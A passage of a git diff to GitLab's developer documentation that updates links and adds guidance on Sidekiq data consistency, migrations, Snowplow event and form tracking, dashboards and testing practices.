`.parse_symbol(string)`: parse the text value to an object identifier (`#to_i` by default). - `#record_identifier(record)`: the inverse of `.parse_symbol`, that is, transform a domain object to an identifier (`#id` by default). - `#url_for_object(object, parent_object)`: generate the URL for a domain object. -- `#find_object(parent_object, id)`: given the parent (usually a [`Project`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/project.rb)) +- `#find_object(parent_object, id)`: given the parent (usually a [`Project`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/project.rb)) and an identifier, find the object. For example, this in a reference filter for merge requests, this might be `project.merge_requests.where(iid: iid)`. @@ -113,7 +113,7 @@ method: `#parent_records(parent, set_of_identifiers)`, which must return an enumerable of domain objects. This allows such classes to define `#find_object` (as -[`IssuableReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/filter/issuable_reference_filter.rb) +[`IssuableReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/filter/issuable_reference_filter.rb) does) as: ```ruby @@ -160,7 +160,7 @@ these sensitive pieces of data. This is what `ReferenceParser` classes do. A reference parser is linked to the object that it handles by the link advertising this relationship in the `data-reference-type` attribute (set by the reference filter). This is used by the -[`ReferenceRedactor`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/reference_redactor.rb) +[`ReferenceRedactor`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/reference_redactor.rb) to compute which nodes should be visible to users: ```ruby @@ -189,7 +189,7 @@ each reference parser must: - Be placed in the `Banzai::ReferenceParser` namespace. - Implement the `.nodes_visible_to_user(user, nodes)` method. -In practice, all reference parsers inherit from [`BaseParser`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/reference_parser/base_parser.rb), and are implemented by defining: +In practice, all reference parsers inherit from [`BaseParser`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/reference_parser/base_parser.rb), and are implemented by defining: - `.reference_type`, which should equal `ReferenceFilter.reference_type`. - And by implementing one or more of: diff --git a/doc/development/reusing_abstractions.md b/doc/development/reusing_abstractions.md index 648f7104814..1e200e1f520 100644 --- a/doc/development/reusing_abstractions.md +++ b/doc/development/reusing_abstractions.md @@ -143,7 +143,7 @@ Service classes usually have an `execute` method, which can return a In a successful case: -``` ruby +```ruby response = ServiceResponse.success(message: 'Branch was deleted') response.success? # => true @@ -154,7 +154,7 @@ response.message # => 'Branch was deleted' In a failed case: -``` ruby +```ruby response = ServiceResponse.error(message: 'Unsupported operation') response.success? # => false @@ -165,7 +165,7 @@ response.message # => 'Unsupported operation' An additional payload can also be attached: -``` ruby +```ruby response = ServiceResponse.success(payload: { issue: issue }) response.payload[:issue] # => issue diff --git a/doc/development/routing.md b/doc/development/routing.md index 2c2f6b2a558..8fca9b00157 100644 --- a/doc/development/routing.md +++ b/doc/development/routing.md @@ -69,6 +69,18 @@ gitlab-org/gitlab/-/settings/repository gitlab-org/serverless/runtimes/-/settings/repository ``` +## Changing existing routes + +Don't change a URL to an existing page, unless it's necessary. If you must make a change, +make it unnoticeable for users, because we don't want them to receive `404 Not Found` +if we can avoid it. This table should help: + +| URL description | Example | What to do | +|---|---|---| +| Can be used in scripts and automation | `snippet#raw` | Support both an old and new URL for one major release. Then, support a redirect from an old URL to a new URL for another major release. | +| Likely to be saved or shared | `issue#show` | Add a redirect from an old URL to a new URL until the next major release. | +| Limited use, unlikely to be shared | `admin#labels` | No extra steps required. | + ## Migrating unscoped routes Currently, the majority of routes are placed under the `/-/` scope. However, diff --git a/doc/development/scalability.md b/doc/development/scalability.md index 8ee6e57e4d1..b260618c220 100644 --- a/doc/development/scalability.md +++ b/doc/development/scalability.md @@ -24,7 +24,7 @@ users. We discuss each component below. The PostgreSQL database holds all metadata for projects, issues, merge requests, users, etc. The schema is managed by the Rails application -[db/structure.sql](https://gitlab.com/gitlab-org/gitlab/blob/master/db/structure.sql). +[db/structure.sql](https://gitlab.com/gitlab-org/gitlab/-/blob/master/db/structure.sql). GitLab Web/API servers and Sidekiq nodes talk directly to the database by using a Rails object relational model (ORM). Most SQL queries are accessed by using this @@ -119,7 +119,7 @@ that backup, the database can apply the WAL logs in order until the database has reached the target time. On GitLab.com, Consul and Patroni work together to coordinate failovers with -the read replicas. [Omnibus ships with both repmgr and Patroni](../administration/postgresql/replication_and_failover.md). +the read replicas. [Omnibus ships with Patroni](../administration/postgresql/replication_and_failover.md). #### Load-balancing @@ -248,9 +248,9 @@ lifting of many activities, including: - Processing CI builds and pipelines. The full list of jobs can be found in the -[`app/workers`](https://gitlab.com/gitlab-org/gitlab/tree/master/app/workers) +[`app/workers`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/app/workers) and -[`ee/app/workers`](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/app/workers) +[`ee/app/workers`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/app/workers) directories in the GitLab codebase. #### Runaway Queues diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md index 62cc2543fc4..74f65034383 100644 --- a/doc/development/secure_coding_guidelines.md +++ b/doc/development/secure_coding_guidelines.md @@ -129,7 +129,7 @@ way that increases execution time by several orders of magnitude. ### Impact -The resource, for example Unicorn, Puma, or Sidekiq, can be made to hang as it takes +The resource, for example Puma, or Sidekiq, can be made to hang as it takes a long time to evaluate the bad regex match. The evaluation time may require manual termination of the resource. @@ -384,7 +384,7 @@ References: ### Select examples of past XSS issues affecting GitLab - [Stored XSS in user status](https://gitlab.com/gitlab-org/gitlab-foss/issues/55320) -- [XSS vulnerability on custom project templates form](https://gitlab.com/gitlab-org/gitlab/issues/197302) +- [XSS vulnerability on custom project templates form](https://gitlab.com/gitlab-org/gitlab/-/issues/197302) - [Stored XSS in branch names](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55320) - [Stored XSS in merge request pages](https://gitlab.com/gitlab-org/gitlab/-/issues/35096) diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md index 82b6a54540f..c87870b088c 100644 --- a/doc/development/sidekiq_style_guide.md +++ b/doc/development/sidekiq_style_guide.md @@ -154,6 +154,12 @@ A good example of that would be a cache expiration worker. A job scheduled for an idempotent worker is [deduplicated](#deduplication) when an unstarted job with the same arguments is already in the queue. +WARNING: +For [data consistency jobs](#job-data-consistency), the deduplication is not compatible with the +`data_consistency` attribute set to `:sticky` or `:delayed`. +The reason for this is that deduplication always takes into account the latest binary replication pointer into account, not the first one. +There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/325291) to improve this. + ### Ensuring a worker is idempotent Make sure the worker tests pass using the following shared example: @@ -456,6 +462,68 @@ If we expect an increase of **less than 5%**, then no further action is needed. Otherwise, please ping `@gitlab-org/scalability` on the merge request and ask for a review. +## Job data consistency + +In order to utilize [Sidekiq read-only database replicas capabilities](../administration/database_load_balancing.md#enable-the-load-balancer-for-sidekiq), +set the `data_consistency` attribute of the job to `:always`, `:sticky`, or `:delayed`. + +| **Data Consistency** | **Description** | +|--------------|-----------------------------| +| `:always` | The job is required to use the primary database (default). | +| `:sticky` | The job uses a replica as long as possible. It switches to primary either on write or long replication lag. It should be used on jobs that require to be executed as fast as possible. | +| `:delayed` | The job always uses replica, but switches to primary on write. The job is delayed if there's a long replication lag. If the replica is not up-to-date with the next retry, it switches to the primary. It should be used on jobs where we are fine to delay the execution of a given job due to their importance such as expire caches, execute hooks, etc. | + +To set a data consistency for a job, use the `data_consistency` class method: + +```ruby +class DelayedWorker + include ApplicationWorker + + data_consistency :delayed + + # ... +end +``` + +For [idempotent jobs](#idempotent-jobs), the deduplication is not compatible with the +`data_consistency` attribute set to `:sticky` or `:delayed`. +The reason for this is that deduplication always takes into account the latest binary replication pointer into account, not the first one. +There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/325291) to improve this. + +### `feature_flag` property + +The `feature_flag` property allows you to toggle a job's `data_consistency`, +which permits you to safely toggle load balancing capabilities for a specific job. +When `feature_flag` is disabled, the job defaults to `:always`, which means that the job will always use the primary database. + +The `feature_flag` property does not allow the use of +[feature gates based on actors](../development/feature_flags/index.md). +This means that the feature flag cannot be toggled only for particular +projects, groups, or users, but instead, you can safely use [percentage of time rollout](../development/feature_flags/index.md). +Note that since we check the feature flag on both Sidekiq client and server, rolling out a 10% of the time, +will likely results in 1% (0.1 [from client]*0.1 [from server]) of effective jobs using replicas. + +Example: + +```ruby +class DelayedWorker + include ApplicationWorker + + data_consistency :delayed, feature_flag: :load_balancing_for_delayed_worker + + # ... +end +``` + +### Delayed job execution + +Scheduling workers that utilize [Sidekiq read-only database replicas capabilities](#job-data-consistency), +(workers with `data_consistency` attribute set to `:sticky` or `:delayed`), +by calling `SomeWorker.perform_async` results in a worker performing in the future (1 second in the future). + +This way, the replica has a chance to catch up, and the job will likely use the replica. +For workers with `data_consistency` set to `:delayed`, it can also reduce the number of retried jobs. + ## Jobs with External Dependencies Most background jobs in the GitLab application communicate with other GitLab diff --git a/doc/development/single_table_inheritance.md b/doc/development/single_table_inheritance.md index 6b35d9f71da..aa4fe540b0d 100644 --- a/doc/development/single_table_inheritance.md +++ b/doc/development/single_table_inheritance.md @@ -22,3 +22,42 @@ The solution is very simple: just use a separate table for every type you'd otherwise store in the same table. For example, instead of having a `keys` table with `type` set to either `Key` or `DeployKey` you'd have two separate tables: `keys` and `deploy_keys`. + +## In migrations + +Whenever a model is used in a migration, single table inheritance should be disabled. +Due to the way Rails loads associations (even in migrations), failing to disable STI +could result in loading unexpected code or associations which may cause unintended +side effects or failures during upgrades. + +```ruby +class SomeMigration < ActiveRecord::Migration[6.0] + class Services < ActiveRecord::Base + self.table_name = 'services' + self.inheritance_column = :_type_disabled + end + + def up + ... +``` + +If nothing needs to be added to the model other than disabling STI or `EachBatch`, +use the helper `define_batchable_model` instead of defining the class. +This ensures that the migration loads the columns for the migration in isolation, +and the helper disables STI by default. + +```ruby +class EnqueueSomeBackgroundMigration < ActiveRecord::Migration[6.0] + disable_ddl_transaction! + + def up + define_batchable_model('services').select(:id).in_batches do |relation| + jobs = relation.pluck(:id).map do |id| + ['ExtractServicesUrl', [id]] + end + + BackgroundMigrationWorker.bulk_perform_async(jobs) + end + end + ... +``` diff --git a/doc/development/snowplow.md b/doc/development/snowplow.md index b5d3be5b2dd..aa1733fd42a 100644 --- a/doc/development/snowplow.md +++ b/doc/development/snowplow.md @@ -1,6 +1,8 @@ --- redirect_to: 'snowplow/index.md' +remove_date: '2021-06-30' --- This document was moved to [another location](snowplow/index.md). + <!-- This redirect file can be deleted after 2021-06-31. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/snowplow/index.md b/doc/development/snowplow/index.md index ece72dbbf03..0bf4b9356e7 100644 --- a/doc/development/snowplow/index.md +++ b/doc/development/snowplow/index.md @@ -24,7 +24,7 @@ More useful links: Snowplow is an enterprise-grade marketing and Product Intelligence platform which helps track the way users engage with our website and application. -[Snowplow](https://github.com/snowplow/snowplow) consists of the following loosely-coupled sub-systems: +[Snowplow](https://snowplowanalytics.com) consists of the following loosely-coupled sub-systems: - **Trackers** fire Snowplow events. Snowplow has 12 trackers, covering web, mobile, desktop, server, and IoT. - **Collectors** receive Snowplow events from trackers. We have three different event collectors, synchronizing events either to Amazon S3, Apache Kafka, or Amazon Kinesis. @@ -35,35 +35,38 @@ Snowplow is an enterprise-grade marketing and Product Intelligence platform whic  -## Snowplow schema +### Useful links -We have many definitions of Snowplow's schema. We have an active issue to [standardize this schema](https://gitlab.com/gitlab-org/gitlab/-/issues/207930) including the following definitions: +- [Understanding the structure of Snowplow data](https://docs.snowplowanalytics.com/docs/understanding-your-pipeline/canonical-event/) +- [Our Iglu schema registry](https://gitlab.com/gitlab-org/iglu) +- [List of events used in our codebase (Event Dictionary)](dictionary.md) -- Frontend and backend taxonomy as listed below -- [Structured event taxonomy](#structured-event-taxonomy) -- [Self describing events](https://github.com/snowplow/snowplow/wiki/Custom-events#self-describing-events) -- [Iglu schema](https://gitlab.com/gitlab-org/iglu/) -- [Snowplow authored events](https://github.com/snowplow/snowplow/wiki/Snowplow-authored-events) - -## Enabling Snowplow +## Enable Snowplow tracking Tracking can be enabled at: - The instance level, which enables tracking on both the frontend and backend layers. -- User level, though user tracking can be disabled on a per-user basis. GitLab tracking respects the [Do Not Track](https://www.eff.org/issues/do-not-track) standard, so any user who has enabled the Do Not Track option in their browser is not tracked at a user level. +- The user level, though user tracking can be disabled on a per-user basis. + GitLab respects the [Do Not Track](https://www.eff.org/issues/do-not-track) standard, so any user who has enabled the Do Not Track option in their browser is not tracked at a user level. + +Snowplow tracking is enabled on GitLab.com, and we use it for most of our tracking strategy. + +To enable Snowplow tracking on a self-managed instance: -We use Snowplow for the majority of our tracking strategy and it is enabled on GitLab.com. On a self-managed instance, Snowplow can be enabled by navigating to: +1. On the top bar, select **Menu >** **{admin}** **Admin**, then select **Settings > General**. + Alternatively, go to `admin/application_settings/general` in your browser. -- **Admin Area > Settings > General** in the UI. -- `admin/application_settings/integrations` in your browser. +1. Expand **Snowplow**. -Example configuration: +1. Select **Enable snowplow tracking** and enter your Snowplow configuration information. For example: -| Name | Value | -|---------------|-------------------------------| -| Collector | `your-snowplow-collector.net` | -| Site ID | `gitlab` | -| Cookie domain | `.your-gitlab-instance.com` | + | Name | Value | + |--------------------|-------------------------------| + | Collector hostname | `your-snowplow-collector.net` | + | App ID | `gitlab` | + | Cookie domain | `.your-gitlab-instance.com` | + +1. Select **Save changes**. ## Snowplow request flow @@ -155,13 +158,13 @@ Snowplow JS adds many [web-specific parameters](https://docs.snowplowanalytics.c ## Implementing Snowplow JS (Frontend) tracking -GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. The simplest way to use it is to add `data-` attributes to clickable elements and dropdowns. There is also a Vue mixin (exposing a `track` method), and the static method `Tracking.event`. Each of these requires at minimum a `category` and an `action`. Additional data can be provided that adheres to our [Structured event taxonomy](#structured-event-taxonomy). +GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/javascript-trackers) for tracking custom events. The simplest way to use it is to add `data-` attributes to clickable elements and dropdowns. There is also a Vue mixin (exposing a `track` method), and the static method `Tracking.event`. Each of these requires at minimum a `category` and an `action`. You can provide additional [Structured event taxonomy](#structured-event-taxonomy) properties along with an `extra` object that accepts key-value pairs. | field | type | default value | description | |:-----------|:-------|:---------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `category` | string | `document.body.dataset.page` | Page or subsection of a page that events are being captured within. | | `action` | string | generic | Action the user is taking. Clicks should be `click` and activations should be `activate`, so for example, focusing a form field would be `activate_form_input`, and clicking a button would be `click_button`. | -| `data` | object | `{}` | Additional data such as `label`, `property`, `value`, and `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). | +| `data` | object | `{}` | Additional data such as `label`, `property`, `value`, `context` (as described in our [Structured event taxonomy](#structured-event-taxonomy)), and `extra` (key-value pairs object). | ### Usage recommendations @@ -171,7 +174,7 @@ GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tra ### Tracking with data attributes -When working within HAML (or Vue templates) we can add `data-track-*` attributes to elements of interest. All elements that have a `data-track-action` attribute automatically have event tracking bound on clicks. +When working within HAML (or Vue templates) we can add `data-track-*` attributes to elements of interest. All elements that have a `data-track-action` attribute automatically have event tracking bound on clicks. You can provide extra data as a valid JSON string using `data-track-extra`. Below is an example of `data-track-*` attributes assigned to a button: @@ -184,6 +187,7 @@ Below is an example of `data-track-*` attributes assigned to a button: data-track-action="click_button" data-track-label="template_preview" data-track-property="my-template" + data-track-extra='{ "template_variant": "primary" }' /> ``` @@ -196,7 +200,8 @@ Below is a list of supported `data-track-*` attributes: | `data-track-action` | true | Action the user is taking. Clicks must be prepended with `click` and activations must be prepended with `activate`. For example, focusing a form field would be `activate_form_input` and clicking a button would be `click_button`. Replaces `data-track-event`, which was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290962) in GitLab 13.11. | | `data-track-label` | false | The `label` as described in our [Structured event taxonomy](#structured-event-taxonomy). | | `data-track-property` | false | The `property` as described in our [Structured event taxonomy](#structured-event-taxonomy). | -| `data-track-value` | false | The `value` as described in our [Structured event taxonomy](#structured-event-taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. | +| `data-track-value` | false | The `value` as described in our [Structured event taxonomy](#structured-event-taxonomy). If omitted, this is the element's `value` property or `undefined`. For checkboxes, the default value is the element's checked attribute or `0` when unchecked. | +| `data-track-extra` | false | A key-value pairs object passed as a valid JSON string. This is added to the `extra` property in our [`gitlab_standard`](#gitlab_standard) schema. | | `data-track-context` | false | The `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). | #### Available helpers @@ -287,6 +292,7 @@ export default { // category: '', // property: '', // value: '', + // extra: {}, }, }; }, @@ -357,6 +363,10 @@ button.addEventListener('click', () => { Tracking.event('dashboard:projects:index', 'click_button', { label: 'create_from_template', property: 'template_preview', + extra: { + templateVariant: 'primary', + valid: 1, + }, }); }); ``` @@ -381,6 +391,50 @@ describe('MyTracking', () => { expect(Tracking.event).toHaveBeenCalledWith(undefined, 'click_button', { label: 'create_from_template', property: 'template_preview', + extra: { + templateVariant: 'primary', + valid: true, + }, + }); + }); +}); +``` + +### Form tracking + +You can enable Snowplow automatic [form tracking](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/javascript-trackers/javascript-tracker/javascript-tracker-v2/tracking-specific-events/#form-tracking) by calling `Tracking.enableFormTracking` (after the DOM is ready) and providing a `config` object that includes at least one of the following elements: + +- `forms`: determines which forms are tracked, and are identified by the CSS class name. +- `fields`: determines which fields inside the tracked forms are tracked, and are identified by the field `name`. + +An optional list of contexts can be provided as the second argument. +Note that our [`gitlab_standard`](#gitlab_standard) schema is excluded from these events. + +```javascript +Tracking.enableFormTracking({ + forms: { allow: ['sign-in-form', 'password-recovery-form'] }, + fields: { allow: ['terms_and_conditions', 'newsletter_agreement'] }, +}); +``` + +#### Testing example + +```javascript +import Tracking from '~/tracking'; + +describe('MyFormTracking', () => { + let formTrackingSpy; + + beforeEach(() => { + formTrackingSpy = jest + .spyOn(Tracking, 'enableFormTracking') + .mockImplementation(() => null); + }); + + it('initialized with the correct configuration', () => { + expect(formTrackingSpy).toHaveBeenCalledWith({ + forms: { allow: ['sign-in-form', 'password-recovery-form'] }, + fields: { allow: ['terms_and_conditions', 'newsletter_agreement'] }, }); }); }); @@ -388,7 +442,7 @@ describe('MyTracking', () => { ## Implementing Snowplow Ruby (Backend) tracking -GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby Tracker](https://github.com/snowplow/snowplow/wiki/ruby-tracker) for tracking custom events. +GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby Tracker](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/ruby-tracker) for tracking custom events. Custom event tracking and instrumentation can be added by directly calling the `GitLab::Tracking.event` class method, which accepts the following arguments: @@ -444,7 +498,15 @@ There are several tools for developing and testing Snowplow Event **{check-circle}** Available, **{status_preparing}** In progress, **{dotted-circle}** Not Planned -### Snowplow Analytics Debugger Chrome Extension +### Test frontend events + +To test frontend events in development: + +- [Enable Snowplow tracking in the Admin Area](#enable-snowplow-tracking). +- Turn off any ad blockers that would prevent Snowplow JS from loading in your environment. +- Turn off "Do Not Track" (DNT) in your browser. + +#### Snowplow Analytics Debugger Chrome Extension Snowplow Analytics Debugger is a browser extension for testing frontend events. This works on production, staging and local development environments. @@ -452,7 +514,7 @@ Snowplow Analytics Debugger is a browser extension for testing frontend events. 1. Open Chrome DevTools to the Snowplow Analytics Debugger tab. 1. Learn more at [Igloo Analytics](https://www.iglooanalytics.com/blog/snowplow-analytics-debugger-chrome-extension.html). -### Snowplow Inspector Chrome Extension +#### Snowplow Inspector Chrome Extension Snowplow Inspector Chrome Extension is a browser extension for testing frontend events. This works on production, staging and local development environments. @@ -565,6 +627,20 @@ Snowplow Mini can be used for testing frontend and backend events on a productio For GitLab.com, we're setting up a [QA and Testing environment](https://gitlab.com/gitlab-org/telemetry/-/issues/266) using Snowplow Mini. +### Troubleshooting + +To control content security policy warnings when using an external host, you can allow or disallow them by modifying `config/gitlab.yml`. To allow them, add the relevant host for `connect_src`. For example, for `https://snowplow.trx.gitlab.net`: + +```yaml +development: + <<: *base + gitlab: + content_security_policy: + enabled: true + directives: + connect_src: "'self' http://localhost:* http://127.0.0.1:* ws://localhost:* wss://localhost:* ws://127.0.0.1:* https://snowplow.trx.gitlab.net/" +``` + ## Snowplow Schemas ### `gitlab_standard` diff --git a/doc/development/stage_group_dashboards.md b/doc/development/stage_group_dashboards.md index 44c738092ac..277c12fc938 100644 --- a/doc/development/stage_group_dashboards.md +++ b/doc/development/stage_group_dashboards.md @@ -52,6 +52,26 @@ component has 2 indicators: 1. [Apdex](https://en.wikipedia.org/wiki/Apdex): The rate of operations that performed adequately. + + The threshold for 'performed adequately' is stored in our [metrics + catalog](https://gitlab.com/gitlab-com/runbooks/-/tree/master/metrics-catalog) + and depends on the service in question. For the Puma (Rails) + component of the + [API](https://gitlab.com/gitlab-com/runbooks/-/blob/f22f40b2c2eab37d85e23ccac45e658b2c914445/metrics-catalog/services/api.jsonnet#L127), + [Git](https://gitlab.com/gitlab-com/runbooks/-/blob/f22f40b2c2eab37d85e23ccac45e658b2c914445/metrics-catalog/services/git.jsonnet#L216), + and + [Web](https://gitlab.com/gitlab-com/runbooks/-/blob/f22f40b2c2eab37d85e23ccac45e658b2c914445/metrics-catalog/services/web.jsonnet#L154) + services, that threshold is **1 second**. + + For Sidekiq job execution, the threshold depends on the [job + urgency](sidekiq_style_guide.md#job-urgency). It is + [currently](https://gitlab.com/gitlab-com/runbooks/-/blob/f22f40b2c2eab37d85e23ccac45e658b2c914445/metrics-catalog/services/lib/sidekiq-helpers.libsonnet#L25-38) + **10 seconds** for high-urgency jobs and **5 minutes** for other + jobs. + + Some stage groups may have more services than these, and the + thresholds for those will be in the metrics catalog as well. + 1. Error rate: The rate of operations that had errors. The calculation to a ratio then happens as follows: @@ -143,14 +163,7 @@ stageGroupDashboards.dashboard('product_planning') .stageGroupDashboardTrailer() ``` -We provide basic customization to filter out the components essential to your group's activities. By default, all components `web`, `api`, `git`, and `sidekiq` are available in the dashboard. We can change this to only show `web` and `api`, or only show `sidekiq`: - -```jsonnet -stageGroupDashboards.dashboard('product_planning', components=['web', 'api']).stageGroupDashboardTrailer() -# Or -stageGroupDashboards.dashboard('product_planning', components=['sidekiq']).stageGroupDashboardTrailer() - -``` +We provide basic customization to filter out the components essential to your group's activities. By default, only the `web`, `api`, and `sidekiq` components are available in the dashboard, while `git` is hidden. See [how to enable available components and optional graphs](#optional-graphs). You can also append further information or custom metrics to a dashboard. This is an example that adds some links and a total request rate on the top of the page: @@ -166,7 +179,7 @@ stageGroupDashboards.dashboard('source_code') mode='markdown', content=||| Useful link for the Source Code Management group dashboard: - - [Issue list](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name%5B%5D=repository) + - [Issue list](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&state=opened&label_name%5B%5D=repository) - [Epic list](https://gitlab.com/groups/gitlab-org/-/epics?label_name[]=repository) |||, ), @@ -199,3 +212,31 @@ If you want to see the workflow in action, we've recorded a pairing session on c available on [GitLab Unfiltered](https://youtu.be/shEd_eiUjdI). For deeper customization and more complicated metrics, visit the [Grafonnet lib](https://github.com/grafana/grafonnet-lib) project and the [GitLab Prometheus Metrics](../administration/monitoring/prometheus/gitlab_metrics.md#gitlab-prometheus-metrics) documentation. + +### Optional Graphs + +Some Graphs aren't relevant for all groups, so they aren't added to +the dashboard by default. They can be added by customizing the +dashboard. + +By default, only the `web`, `api`, and `sidekiq` metrics are +shown. If you wish to see the metrics from the `git` fleet (or any +other component that might be added in the future), this could be +configured as follows: + +```jsonnet +stageGroupDashboards +.dashboard('source_code', components=stageGroupDashboards.supportedComponents) +.stageGroupDashboardTrailer() +``` + +If your group is interested in Sidekiq job durations and their +thresholds, these graphs can be added by calling the +`.addSidekiqJobDurationByUrgency` function: + +```jsonnet +stageGroupDashboards +.dashboard('access') +.addSidekiqJobDurationByUrgency() +.stageGroupDashboardTrailer() +``` diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md index c3125f52cf2..c44e26927fe 100644 --- a/doc/development/testing_guide/best_practices.md +++ b/doc/development/testing_guide/best_practices.md @@ -851,6 +851,47 @@ using expectations, or dependency injection along with stubs, to avoid the need for modifications. If you have no other choice, an `around` block like the global variables example can be used, but avoid this if at all possible. +#### Elasticsearch specs + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61171) in GitLab 14.0. + +Specs that require Elasticsearch must be marked with the `:elastic` trait. This +creates and deletes indices between examples to ensure a clean index, so that there is no room +for polluting the tests with nonessential data. +Most tests for Elasticsearch logic relate to: + +- Creating data in Postgres and waiting for it to be indexed in Elasticsearch. +- Searching for that data. +- Ensuring that the test gives the expected result. + +There are some exceptions, such as checking for structural changes rather than individual records in an index. + +The `:elastic_with_delete_by_query` trait was added to reduce run time for pipelines by creating and deleting indices +at the start and end of each context only. The [Elasticsearch DeleteByQuery API](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-delete-by-query.html) +is used to delete data in all indices in between examples to ensure a clean index. + +Note that Elasticsearch indexing uses [`Gitlab::Redis::SharedState`](../../../ee/development/redis.md#gitlabrediscachesharedstatequeues). +Therefore, the Elasticsearch traits dynamically use the `:clean_gitlab_redis_shared_state` trait. +You do NOT need to add `:clean_gitlab_redis_shared_state` manually. + +Specs using Elasticsearch require that you: + +- Create data in Postgres and then index it into Elasticsearch. +- Enable Application Settings for Elasticsearch (which is disabled by default). + +To do so, use: + +```ruby +before do + stub_ee_application_setting(elasticsearch_search: true, elasticsearch_indexing: true) +end +``` + +Additionally, you can use the `ensure_elasticsearch_index!` method to overcome the asynchronous nature of Elasticsearch. +It uses the [Elasticsearch Refresh API](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-refresh.html#refresh-api-desc) +to make sure all operations performed on an index since the last refresh are available for search. This method is typically +called after loading data into Postgres to ensure the data is indexed and searchable. + #### Test Snowplow events WARNING: @@ -954,6 +995,7 @@ Only use simple values as input in the `where` block. Using objects, FactoryBot-created objects, and similar items can lead to [unexpected results](https://github.com/tomykaira/rspec-parameterized/issues/8). <!-- vale gitlab.Spelling = YES --> + ### Prometheus tests Prometheus metrics may be preserved from one test run to another. To ensure that metrics are @@ -1034,6 +1076,16 @@ expect(json_string).to be_valid_json expect(json_string).to be_valid_json.and match_schema(schema) ``` +#### `be_one_of(collection)` + +The inverse of `include`, tests that the `collection` includes the expected +value: + +```ruby +expect(:a).to be_one_of(%i[a b c]) +expect(:z).not_to be_one_of(%i[a b c]) +``` + ### Testing query performance Testing query performance allows us to: @@ -1097,7 +1149,7 @@ module Spec module Helpers module CycleAnalyticsHelpers def create_commit_referencing_issue(issue, branch_name: random_git_name) - project.repository.add_branch(user, branch_name, 'master') + project.repository.add_branch(user, branch_name, 'main') create_commit("Commit for ##{issue.iid}", issue.project, user, branch_name) end end @@ -1154,7 +1206,7 @@ let(:project) { create(:project, :repository) } ``` Where you can, consider using the `:custom_repo` trait instead of `:repository`. -This allows you to specify exactly what files appear in the `master` branch +This allows you to specify exactly what files appear in the `main` branch of the project's repository. For example: ```ruby diff --git a/doc/development/testing_guide/ci.md b/doc/development/testing_guide/ci.md index 7318f767219..e3fccdcee34 100644 --- a/doc/development/testing_guide/ci.md +++ b/doc/development/testing_guide/ci.md @@ -12,7 +12,7 @@ Our current CI parallelization setup is as follows: 1. The `retrieve-tests-metadata` job in the `prepare` stage ensures we have a `knapsack/report-master.json` file: - - The `knapsack/report-master.json` file is fetched from the latest `master` pipeline which runs `update-tests-metadata` + - The `knapsack/report-master.json` file is fetched from the latest `main` pipeline which runs `update-tests-metadata` (for now it's the 2-hourly scheduled master pipeline), if it's not here we initialize the file with `{}`. 1. Each `[rspec|rspec-ee] [unit|integration|system|geo] n m` job are run with `knapsack rspec` and should have an evenly distributed share of tests: @@ -31,7 +31,7 @@ After that, the next pipeline uses the up-to-date `knapsack/report-master.json` ## Monitoring -The GitLab test suite is [monitored](../performance.md#rspec-profiling) for the `master` branch, and any branch +The GitLab test suite is [monitored](../performance.md#rspec-profiling) for the `main` branch, and any branch that includes `rspec-profile` in their name. ## CI setup diff --git a/doc/development/testing_guide/end_to_end/beginners_guide.md b/doc/development/testing_guide/end_to_end/beginners_guide.md index 7cde2cad300..e0f0e9e7089 100644 --- a/doc/development/testing_guide/end_to_end/beginners_guide.md +++ b/doc/development/testing_guide/end_to_end/beginners_guide.md @@ -41,11 +41,11 @@ Does sufficient test coverage exist at the unit, feature, or integration levels? If you answered *yes*, then you *don't* need an end-to-end test. For information about the distribution of tests per level in GitLab, see -[Testing Levels](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/development/testing_guide/testing_levels.md). +[Testing Levels](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/testing_guide/testing_levels.md). - See the - [How to test at the correct level?](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/development/testing_guide/testing_levels.md#how-to-test-at-the-correct-level) - section of the [Testing levels](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/development/testing_guide/testing_levels.md) document. + [How to test at the correct 